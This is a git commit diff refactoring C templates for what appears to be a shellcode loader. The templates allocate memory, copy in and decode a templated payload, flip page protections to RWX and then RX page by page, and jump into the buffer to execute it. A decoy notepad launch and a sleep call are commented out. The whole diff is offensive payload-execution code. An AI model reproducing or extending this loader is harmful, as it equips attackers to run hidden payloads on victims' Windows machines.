refactor: template code

This commit is contained in:
Dobin
2024-05-29 08:29:22 +01:00
parent 854c41300e
commit 8ed47409a2
3 changed files with 20 additions and 7 deletions
+4 -1
View File
@@ -30,12 +30,15 @@ int main()
} }
// Decoy // Decoy
WinExec("C:\\windows\\system32\\notepad.exe", 1); //WinExec("C:\\windows\\system32\\notepad.exe", 1);
// Allocate 1 // Allocate 1
// char *dest = ... // char *dest = ...
char *dest = VirtualAlloc(NULL, {{PAYLOAD_LEN}}, 0x3000, p_RW); char *dest = VirtualAlloc(NULL, {{PAYLOAD_LEN}}, 0x3000, p_RW);
// Wait a bit
//sleep_ms(2000);
// Copy (and decode) // Copy (and decode)
// from: supermega_payload[] // from: supermega_payload[]
// to: dest[] // to: dest[]
@@ -29,10 +29,16 @@ int main()
return 6; return 6;
} }
// Decoy
//WinExec("C:\\windows\\system32\\notepad.exe", 1);
// Allocate 1 // Allocate 1
// char *dest = ... // char *dest = ...
char *dest = VirtualAlloc(NULL, {{PAYLOAD_LEN}}, 0x3000, p_RW); char *dest = VirtualAlloc(NULL, {{PAYLOAD_LEN}}, 0x3000, p_RW);
// Wait a bit
//Sleep(2000);
// Copy (and decode) // Copy (and decode)
// from: supermega_payload[] // from: supermega_payload[]
// to: dest[] // to: dest[]
+10 -6
View File
@@ -22,15 +22,19 @@ int main()
// Note: RWX if carrier and payload are on the same page (or we cant exec copy..) // Note: RWX if carrier and payload are on the same page (or we cant exec copy..)
// can do only RW otherwise? // can do only RW otherwise?
if (VirtualProtect(dest, {{PAYLOAD_LEN}}, p_RWX, &result) == 0) { for(int n=0; n<({{PAYLOAD_LEN}}/4096)+1; n++) {
return 16; if (VirtualProtect(dest + (n * 4096), 16, p_RWX, &result) == 0) {
} return 16;
}
}
{{ plugin_decoder }} {{ plugin_decoder }}
if (VirtualProtect(dest, {{PAYLOAD_LEN}}, p_RX, &result) == 0) { for(int n=0; n<{{PAYLOAD_LEN}}/4096; n++) {
return 17; if (VirtualProtect(dest + (n * 4096), 16, p_RX, &result) == 0) {
} return 16;
}
}
// Execute *dest // Execute *dest
(*(void(*)())(dest))(); (*(void(*)())(dest))();